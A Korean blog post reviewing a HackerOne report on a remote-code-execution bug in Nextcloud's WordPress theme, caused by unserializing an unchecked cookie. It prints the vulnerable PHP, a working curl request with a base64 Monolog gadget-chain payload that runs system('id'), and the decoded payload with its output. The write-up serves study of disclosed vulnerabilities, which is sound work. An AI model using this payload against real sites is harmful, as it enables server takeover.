본문 바로가기

web/Bug Bounty 리포트 리뷰

RCE on Wordpress website - hackerone report #2248328

Report Info

  • URL (보고서 URL) : https://hackerone.com/reports/2248328
  • Title (보고서 제목) : RCE on Wordpress website 
  • Reported to (신고 대상) : Nextcloud
  • Reported date (보고 날짜) : 2023.12.28
  • Severity (취약 정도) : Critical (9.8)
  • Weakness (취약점) : Deserialization of Untrusted Data
  • Bounty (보상금) : None

Description

Nextcloud에서 사용중인 자체 개발 theme에서 발생한 취약점이다.

 

add_filter( 'ninja_forms_render_default_value', 'nc_change_nf_default_value', 10, 3 );
function nc_change_nf_default_value( $default_value, $field_type, $field_settings ) {
    
    if(isset($_COOKIE['nc_form_fields'])){
        $nc_form_fields = unserialize(base64_decode($_COOKIE['nc_form_fields']));

        if( str_contains($field_settings['key'], 'name') && !str_contains($field_settings['key'], 'organization') ){
                if(isset($nc_form_fields['nc_form_name'])) {
                    $default_value = $nc_form_fields['nc_form_name'];
                }
        }
        if( str_contains($field_settings['key'], 'email') ){
                if(isset($nc_form_fields['nc_form_email'])) {
                    $default_value = $nc_form_fields['nc_form_email'];
                }
        }
        if( str_contains($field_settings['key'], 'phone') ){
                if(isset($nc_form_fields['nc_form_phone'])) {
                    $default_value = $nc_form_fields['nc_form_phone'];
                }
        }
    }

  return $default_value;
}

 

add_filter( 'ninja_forms_render_options', function( $options, $settings ) {
    
    //https://www.html-code-generator.com/php/array/languages-name-and-code
    $languages_list = array(
        'en' => 'English',
        // [snip]
        'zu' => 'Zulu - isiZulu'
    );

    if(str_contains($settings['key'], 'language')) {

        $options = [];
        $browser_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);

        $pref_lang = '';
        if(isset($_COOKIE['nc_form_fields'])){
            $nc_form_fields = unserialize(base64_decode($_COOKIE['nc_form_fields']));
            if( isset($nc_form_fields['nc_form_lang'])){
                $pref_lang = $nc_form_fields['nc_form_lang'];
            }
        } else {
            $pref_lang = $browser_lang;
        }


        foreach($languages_list as $code => $language) {
            $selected = false;

            if($pref_lang == $code){
                $selected = true;
            }

            $options[] = [
                'label' => $language,
                'value' => $code,
                'calc' => 0,
                'selected' => $selected
            ];

        }
        
    }
  
    return $options;
}, 10, 2 );

 

위 코드는 당시 Nextcloud에서 사용했던 theme 코드이다.

전체 코드는 아래 링크에서 확인할 수 있다.

https://github.com/nextcloud/nextcloud-theme/blob/e6db0a90391ec94f9eb6d86e16dc16e36c5f4dd4/inc/ninjaforms.php

 

위를 보면 다음과 같은 코드를 확인할 수 있다.

...

if(isset($_COOKIE['nc_form_fields'])){
        $nc_form_fields = unserialize(base64_decode($_COOKIE['nc_form_fields']));

...

 

nc_form_fields 쿠키가 설정되어있는 경우 해당 값을 base64 decode하고 unserizlie 한다.

어떠한 검증도 없고 사용자가 임의로 해당 값을 설정할 수 있다.

 

리포트의 제보자는 해당 사이트에서 Wordpress 의 Monolog를 가젯으로 사용하여

RCE를 발생시켰다.

 

curl -i -s -k -X $'GET' \
    -H $'Host: nextcloud.com' \
    -b $'nc_cookie_banner={\"essentials\":true,\"convenience\":false,\"statistics\":{\"matomo\":false},\"external_media\":{\"youtube\":false,\"vimeo\":false}}; wp-wpml_current_language=en; nc_form_fields=TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6MTA6IgAqAGhhbmRsZXIiO3I6MTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoyOiJpZCI7czo1OiJsZXZlbCI7aToxMDA7fX1zOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjM6InBvcyI7aToxO3M6Njoic3lzdGVtIjt9fQ==' \
    $'https://nextcloud.com/newsletter/'

 

위 curl 코드는 system("id") 코드를 실행시킨 코드이다.

위 코드의 결과는 아래와 같다.

 

<!-- Performance optimized by Redis Object Cache. Learn more: https://wprediscache.com -->uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)

 

 

 

 

 

nc_form_fields=TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6MTA6IgAqAGhhbmRsZXIiO3I6MTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoyOiJpZCI7czo1OiJsZXZlbCI7aToxMDA7fX1zOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjM6InBvcyI7aToxO3M6Njoic3lzdGVtIjt9fQ==

 

리포트의 제보자는 curl 명령어를 사용하여 위처럼 nc_form_fields 쿠키를 임의의 값으로 설정하였다.

해당 값을 base64 decode하면 아래와 같은 결과가 나온다.

 

O:37:"Monolog\Handler\FingersCrossedHandler":4:{s:16:"�*�passthruLevel";i:0;s:10:"�*�handler";r:1;s:9:"�*�buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";i:100;}}s:13:"�*�processors";a:2:{i:0;s:3:"pos";i:1;s:6:"system";}}

 

해당 취약점은 다양하게 악용될 수 있기 때문에 취약 정도가 Critical (9.8)로 설정된 것을 볼 수 있다.


느낀 점

이번 리포트를 통해 Insecure deserialization 취약점을 처음 접하게 되었다.

따로 찾아보니 한 때 이슈였던 Apache Lof4j 취약점이 이를 이용한 것이었다고 한다.

아직 잘 모르는 취약점이기에 해당 취약점이 어떻게 작동했고 왜 저러한 가젯을 이용하였는지는

아직 완벽하게 이해할 수 없었다. 조만간 따로 자료를 찾아보고 공부해봐야겠다.